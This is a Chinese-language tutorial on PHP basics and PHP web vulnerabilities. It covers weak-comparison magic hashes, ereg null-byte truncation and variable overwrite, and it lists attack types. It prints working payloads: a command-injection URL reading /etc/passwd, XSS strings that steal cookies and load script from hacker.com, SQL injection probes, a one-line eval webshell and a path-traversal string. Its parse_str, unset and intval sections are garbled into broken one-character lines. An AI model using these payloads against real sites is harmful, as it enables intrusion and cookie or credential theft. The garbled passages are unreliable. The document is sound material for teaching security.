PHP环境及基础
使用phpstudy搭建,phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等。
变量
<?php
$x=5;
$y=6;
$z=$x+$y;
echo $z;
var_dump($Z);
?>
<?php
$x=10;
$y=6;
echo ($x + $y);
echo '<br>';
echo ($x - $y);
echo '<br>';
echo ($x * $y);
echo '<br>';
echo ($x / $y);
echo '<br>';
echo ($x % $y);
echo '<br>';
echo -$x;
$x=10;
echo $x;
$y=20;
$y += 100;
echo $y;
$z=50;
$z -= 25;
echo $z;
$i=5;
$i *= 6;
echo $i;
$j=10;
$j /= 5;
echo $j;
$k=15;
$k %= 4;
echo $k;
$x=10;
echo ++$x;
$y=10;
echo $y++;
$z=5;
echo --$z;
$i=5;
echo $i--;
$x=100;
$y="100";
var_dump($x == $y);
echo "<br>";
var_dump($x === $y);
echo "<br>";
var_dump($x != $y);
echo "<br>";
var_dump($x !== $y);
echo "<br>";
$a=50;
$b=90;
var_dump($a > $b);
echo "<br>";
var_dump($a < $b);
$x = array("a" => "red", "b" => "green");
$y = array("c" => "blue", "d" => "yellow");
$z = $x + $y;
var_dump($z);
var_dump($x == $y);
var_dump($x === $y);
var_dump($x != $y);
var_dump($x <> $y);
var_dump($x !== $y);
?>
PHP漏洞函数
1、sha1 和 md5 函数
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。 常见的payload有
0x01 md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')0x02 md5(md5(str)."SALT")
2123456789101112131415
同时MD5不能处理数组,若有以下判断则可用数组绕过
<?php
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
else
{
echo "no";
}
?>
2、ereg()函数漏洞:00截断
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE1
在这里如果 $_GET[‘password’]为数组,则返回值为NULL ,如果为123 || asd || 12as || 123%00&&&**,则返回值为true ,其余为false 1、ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。 2、strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写) 3、ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配 4、ereg()只能处理字符串的,遇到数组做参数返回NULL,判断用的是 === ,要求类型也相同,而NULL跟FALSE类型是不同的,strpos()的参数同样不能为数组,否则返回NULL,而判断用的是 !== ,所以这里的条件成立,也能得到flag
?password=[]=a
?password=1%00--
ereg函数存在NULL截断漏洞,可以%00截断,则不会读取后面的内容,可以绕过输入*-*
2、变量本身的key
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理
<?php
echo "123";
foreach ($_GET AS $key => $value)
{ print $key."\n";
}
?>123456789101112131415
4、extract()变量覆盖
extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖
<?php
$a = 'Original';
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
<?php
$a = 'Original';
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array, EXTR_PREFIX_SAME, 'dup');
echo "\$a = $a; \$b = $b; \$c = $c; \$dup_a = $dup_a;";
?>
EXTR_OVERWRITE
如果有冲突,覆盖已有的变量。
EXTR_SKIP
如果有冲突,不覆盖已有的变量。
EXTR_PREFIX_SAME
如果有冲突,在变量名前加上前缀 prefix 。
EXTR_PREFIX_ALL
给所有变量名加上前缀 prefix 。自 PHP 4.0.5 起这也包括了对数字索引的处理。
EXTR_PREFIX_INVALID
仅在非法/数字的变量名前加上前缀 prefix 。本标记是 PHP 4.0.5 新加的。
EXTR_IF_EXISTS
仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。可以用在已经定义了一组合法的变量,然后要从一个数组例如 $_REQUEST 中提取值覆盖这些变量的场合。本标记是 PHP 4.2.0 新加的。
EXTR_PREFIX_IF_EXISTS
仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。本标记是 PHP 4.2.0 新加的。
EXTR_REFS
将变量作为引用提取。这有力地表明了导入的变量仍然引用了 var_array 参数的值。可以单独使用这个标志或者在 extract_type 中用 OR 与其它任何标志结合使用。本标记是 PHP 4.3.0 新加的。
如果没有指定 extract_type ,则被假定为 EXTR_OVERWRITE。
echo extract($_GET);
5、strcmp()漏洞
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
<?php
if (strcmp('xd',$_GET['A'])==0)
{
echo 'NO!';
}else
{
echo 'YES!';
}
?>
6、is_numeric()函数
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。这个函数和mysql结合起来就容易出问题,那是因为is_numeric判断的时候,当碰到16进制数的时候,也会判断成数字is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而**%20空格字符只能放在数值后**。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!
<?php
echo is_numeric(0x233333);
if (is_numeric($_GET['A']))
{
echo "yes";
}
else
{
echo "no";
}
?>
7、preg_match函数漏洞
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题。
<?php
$ip = '1.1.1.1 abcd';
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip))
{ die('error');}
else { echo('key...');
}?>
8、parse_str函数漏洞
与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数str是URL传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。
//var.php?var=new
v
a
r
=
′
i
n
i
t
′
;
p
a
r
s
e
s
t
r
(
var='init'; parse_str(
var=′init′;parses?tr(_SERVER[‘QUERY_STRING’]); print $var;
9、字符串比较
== 是弱类型的比较,以下比较都为 true
<?php echo 0 == 'a' ;
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>
10、unset()函数漏洞
unset(
a
r
r
[
arr[
arr[key]) //销毁掉的是
a
r
r
这
个
数
组
里
面
的
一
个
元
素
u
n
s
e
t
(
arr这个数组里面的一个元素 unset(
arr这个数组里面的一个元素unset(val) //销毁掉的时候
v
a
l
这
个
变
量
,
这
个
变
量
是
val这个变量,这个变量是
val这个变量,这个变量是arr里的一个元素,相当于重新开了一个变量,你销毁这个重新开的变量不会影响到原数组 $arr.
11、intval()函数漏洞
int转string:
i
t
e
m
=
s
t
r
v
a
l
(
item = strval(
item=strval(var); 在intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。 该函数还可能造成sql注入,例如将‘1 or 1’转换为16进制形式,再传参,就可以造成sql注入 intval(
r
e
q
[
"
n
u
m
b
e
r
"
]
)
=
i
n
t
v
a
l
(
s
t
r
r
e
v
(
req["number"])=intval(strrev(
req["number"])=intval(strrev(req[“number”])) 如果要求不是回文,但又要满足这个条件,可以用科学计数法构造0=0:number=0e-0%00
12、switch()函数
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。switch (“1as”)==switch (1)
13、in_array()函数
#以下,'7eee’被强制转换成整型 7 var_dump(in_array(‘7eee’, [1, 2, 7, 9]));//true #如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。 var_dump(in_array(‘7eee’, [1, 2, 7, 9], true));//false var_dump(in_array(0, array(‘s’)));//bool(true)
14、serialize() 和 unserialize()函数漏洞
serialize序列化 和 unserialize反序列化,序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。 反序列化漏洞可以使用反序列化工具进行检测。
针对PHP的网站的攻击方式:
1、命令注入(Command Injection)
- PHP中可以使用下列5个函数来执行外部的应用程序或函数system、exec、passthru、shell_exec、“(与* shell_exec功能相同)
system函数
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
?>
- http://127.0.0.1/1.php?dir=| cat /etc/passwd
- 提交以后,命令变成了 system(“ls -al | cat /etc/passwd”);
exec函数
<?php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
- http://127.0.0.1/1.php?arg=phpinfo(),漏洞产生
2、eval注入(Eval Injection)
<?php
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
- http://127.0.0.1/1.php?func=phpinfo
3、客户端脚本攻击(Script Insertion)
- 客户端脚本植入(Script Insertion),是指将可以执行的脚本插入到表单、图片、动画或超链接文字等对象内。当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击。
- 1、
<script>标签标记的javascript和vbscript等页面脚本程序。在<script>标签内可以指定js程序代码,也可以在src属性内指定js文件的URL路径 - 2、标签标记的对象。这些对象是java applet、多媒体文件和ActiveX控件等。通常在data属性内指定对象的URL路径
- 3、标签标记的对象。这些对象是多媒体文件,例如:swf文件。通常在src属性内指定对象的URL路径
- 4、标签标记的对象。这些对象是java applet,通常在codebase属性内指定对象的URL路径
- 5、标签标记的对象。通常在action属性内指定要处理表单数据的web应用程序的URL路径
4、跨网站脚本攻击(Cross Site Scripting, XSS)
- XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS。跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤: - 1、攻击者以某种方式发送xss的http链接给目标用户
- 2、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
- 3、网站执行了此xss攻击脚本
- 4、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
- 5、攻击者使用目标用户的信息登录网站,完成攻击
当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似 http://www.sectop.com/search.php?key= ,诱骗用户点击后,可以获取用户cookies值
<script src=http:
<script> alert("hack")</script>
<script>alert(document.cookie)</script>
<img src=1 onerror=alert("hack")>
<img src=1 onerror=alert(/hack/)>
<img src=1 onerror=alert(document.cookie)>
<img src=1 onerror=alert(123)> 注:对于数字,可以不用引号
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<body onload=alert("XSS")>
<body background="javascript:alert("XSS")">
<iframe src=”http:
<input type="image" src="javascript:alert('XSS');">
<link rel="stylesheet" href="javascript:alert('XSS');">
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
- 参考:https://blog.csdn.net/qq_35393693/article/details/86597707
5、SQL注入攻击(SQL injection)
- SQL注入攻击包括通过输入数据从客户端插入或“注入”SQL查询到应用程序。一个成功的SQL注入攻击可以从数据库中获取敏感数据、修改数据库数据(插入/更新/删除)、执行数据库管理操作(如关闭数据库管理系统)、恢复存在于数据库文件系统中的指定文件内容,在某些情况下能对操作系统发布命令。SQL注入攻击是一种注入攻击。它将SQL命令注入到数据层输入,从而影响执行预定义的SQL命令。由于用户的输入,也是SQL语句的一部分,所以攻击者可以利用这部分可以控制的内容,注入自己定义的语句,改变SQL语句执行逻辑,让数据库执行任意自己需要的指令。通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。
可以使用python sqlmap 工具进行注入检查 - 判断是都有注入点:
如果参数(id)是数字,测试id=2-1与id=1返回的结果是否相同,如果做了2-1=1的运算,说明可能存在数字型注入。如果要用+号运算的话,因为URL编码的问题,需要把加好换成%2B,如id=1%2B1 在参数后面加单引号或双引号,判断返回结果是否有报错 添加注释符,判断前后是否有报错,如id=1’ --+ 或 id=1" --+ 或id=1’ # 或id=1" --+ (–后面跟+号,是把+当成空格使用) - 有些参数可能在括号里面,如:SELECT first_name, last_name FROM users WHERE user_id = (’$id’);所以也可以在参数后面加单双引号和括号,如id=1’) --+ 或 id=1") --+ 或id=1’) # 或id=1") --+
参数后面跟or 或者and,判断返回结果是否有变化,如1’ or ‘a’='a 或者and ‘a’=‘a或者1’ or ‘a’=‘b或者1’ or ‘1’='2。如果返回的正确页面与错误页面都一样,可以考虑时间延迟的方法判断是否存在注入,如 1’ and sleep(5) - 参考:https://www.cnblogs.com/Eleven-Liu/p/9712576.html
- https://www.cnblogs.com/ichunqiu/p/5805108.html
6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
- CSRF(Cross Site Request Forgeries),意为跨网站请求伪造,也有写为XSRF。攻击者伪造目标用户的HTTP请求,然后此请求发送到有CSRF漏洞的网站,网站执行此请求后,引发跨站请求伪造攻击。攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单击这个链接,由于是用户自己点击的,而他又是合法用户拥有合法权限,所以目标用户能够在网站内执行特定的HTTP链接,从而达到攻击者的目的。
7、Session 会话劫持(Session Hijacking)
- 会话劫持是指通过非常规手段,来得到合法用户在客户端和服务器段进行交互的特征值(一般为sessionid),然后伪造请求,去访问授权用户的数据。
- 首先是猜测的方式,如果我们的sessionid的生成是有规律的,那么使用猜测的方式就可以到达非法获取的目的。
- 其次是session fixation攻击。session fixation攻击是指用户通过XSS、网络嗅探、本地木马来得到特征值,这些交互的特征值一般来说放置在浏览器的Cookie中(当然,我们也知道sessionid也可以通过URL来传递,这样的话,获取就简单多了)。然后诱使用户去完成一次登录(诱使的方法可使发邮件,发链接等)。如果服务器没有更新这个SessionID,则攻击者可以凭借此SessionID登录系统
- 在特征值被获取到之后,攻击者还可以使用Session保持攻击,这一般是指写一段小代码,定时发送请求,保持Session有效。这样,攻击者,就可以一直利用这个合法用户进行非法活动。
8、Session 固定攻击(Session Fixation)
- 会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
- 攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
- 目标用户携带攻击者设定的Session ID登录站点;
- 攻击者通过Session ID获得合法会话。
9、HTTP响应拆分攻击(HTTP Response Splitting)
- 又名CRLF注入攻击,是比较新颖的一种Web攻击方式,如Web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞等。主要是由于Web应用程序未对用户提交的数据进行严格过滤和检查,导致攻击者可以提交一些恶意字符如(CR、LF等)然后进行构造恶意代码进行攻击。
- CR:对应ASCII中转义字符\r,即回车(%0d)
- LF:对应ASCII中转义字符\n,即换行(%0a)
- CRLF:\r\n,即回车并换行漏洞主要原理是由于HTTP Header与 Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来
10、文件上传漏洞(File Upload Attack)
- 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。
- php的一句话木马: <?php @eval($_POST['pass']);?> 或 <?php @eval($_POST['cmd']);?> 或 <?php @eval($_POST['attack']) ;?>
参考:https://www.secpulse.com/archives/95987.html
11、目录穿越漏洞(Directory Traversal)
- 目录穿越的目的旨在访问存在在网站根目录外面的文件或目录。通过浏览应用,攻击者可以寻找存储在 Web 服务器上的其他文件的相对路径。
- 目录穿越不仅可以访问服务器中的任何目录,还可以访问服务器中任何文件的内容。例如,攻击者通过浏览器访问…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd(此处较多…/),就可以读取Linux服务器根目录下的etc目录下的passwd文件的内容。
12、远程文件包含攻击(Remote Inclusion)
13、动态函数注入攻击(Dynamic Variable Evaluation)
14、URL攻击(URL attack)
15、表单提交欺骗攻击(Spoofed Form Submissions)
16、HTTP请求欺骗攻击(Spoofed HTTP Requests)
参考链接:https://www.jb51.net/article/31898.htm https://www.cnblogs.com/ningskyer/articles/9328337.html
|